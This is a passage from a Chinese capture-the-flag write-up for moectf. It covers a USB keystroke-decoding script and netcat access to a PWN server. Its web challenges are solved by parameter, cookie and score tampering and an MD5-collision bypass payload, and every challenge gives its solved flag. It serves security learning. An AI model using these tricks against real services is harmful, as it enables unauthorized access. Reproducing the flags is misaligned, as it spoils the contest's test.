punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;5%\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;6^\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;7\u0026amp;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;8*\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;9(\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x27\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;0)\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;-_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;[{\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;]}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x32\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;#~\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x33\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;;:\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#39;\\\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x36\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;,\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;.\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x4f\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003ecode2chr\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereadlines\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 即第三个字节\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# newline or down arrow - move down\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x51\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# up arrow - move up\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x52\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# select the character based on the Shift key\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elines\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e pos\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e81\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e x \u003cspan class=\"token comment\"\u003e# print(x)\u003c/span\u003e fout \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eresult\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclose\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code2chr\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{D@m3daNe_D4me_yoooooo}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"PWN\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#PWN\" class=\"headerlink\" title=\"PWN\"\u003e\u003c/a\u003ePWN\u003c/h2\u003e\u003ch3 id=\"02-test-your-nc\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-test-your-nc\" class=\"headerlink\" title=\"02 test_your_nc\"\u003e\u003c/a\u003e02 test_your_nc\u003c/h3\u003e\u003cp\u003e如题\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enc\u003c/span\u003e pwn.blackbird.wang \u003cspan class=\"token number\"\u003e9500\u003c/span\u003e\u003cspan class=\"token function\"\u003els\u003c/span\u003e\u003cspan class=\"token function\"\u003ecat\u003c/span\u003e flag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{enjoy_the_netcat_and_the_shell}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Int-overflow\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Int-overflow\" class=\"headerlink\" title=\"03 Int_overflow\"\u003e\u003c/a\u003e03 Int_overflow\u003c/h3\u003e\u003cp\u003e试着试着给了个 \u003ccode\u003e-1\u003c/code\u003e ,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Web\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Web\" class=\"headerlink\" title=\"Web\"\u003e\u003c/a\u003eWeb\u003c/h2\u003e\u003cp\u003e\u003cdel\u003ePHP真实绝绝子\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"02-Web安全入门指北—GET\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94GET\" class=\"headerlink\" title=\"02 Web安全入门指北—GET\"\u003e\u003c/a\u003e02 Web安全入门指北—GET\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:10000/?moe\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{We1c0me_t0_CTF_Web!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Web安全入门指北—POST\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94POST\" class=\"headerlink\" title=\"03 Web安全入门指北—POST\"\u003e\u003c/a\u003e03 Web安全入门指北—POST\u003c/h3\u003e\u003cp\u003e随便找个在线工具发POST就行\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{POST_1s_an_1mp0rtant_m3th0d!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Web安全入门指北—小饼干\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#04-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94%E5%B0%8F%E9%A5%BC%E5%B9%B2\" class=\"headerlink\" title=\"04 Web安全入门指北—小饼干\"\u003e\u003c/a\u003e04 Web安全入门指北—小饼干\u003c/h3\u003e\u003cp\u003e浏览器F12 把cookies里值改成1,刷新\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{C00kie_1s_sw33t!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-2048\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#05-2048\" class=\"headerlink\" title=\"05 2048\"\u003e\u003c/a\u003e05 2048\u003c/h3\u003e\u003cp\u003e审查元素大法好,找到代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003e\u003cspan class=\"token function-variable function\"\u003egetFlag\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evar\u003c/span\u003e req \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"token class-name\"\u003eXMLHttpRequest\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;GET\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;flag.php?score=\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003eobj\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003escore\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function-variable function\"\u003eonload\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003ealert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ethis\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eresponseText\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003esend\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开发现申必数字\u003ccode\u003e50000\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5001/flag.php?score\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e50000\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e获得flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{2048_1s_intere5t1ng!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/CSDNiamcoming/article/details/108837347\"\u003e(6条消息) 总结ctf中 MD5 绕过的一些思路_y0un9er-CSDN博客_ctf md5绕过\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token assign-left variable\"\u003ea\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u003cspan class=\"token assign-left variable\"\u003eb\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec3gf9dfg62fh342}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-ezinclude\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#06-ezinclude\" class=\"headerlink\" title=\"06 ezinclude\"\u003e\u003c/a\u003e06 ezinclude\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/vhkjhwbs/article/details/99728785\"\u003ehttps://blog.csdn.net/vhkjhwbs/article/details/99728785\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca 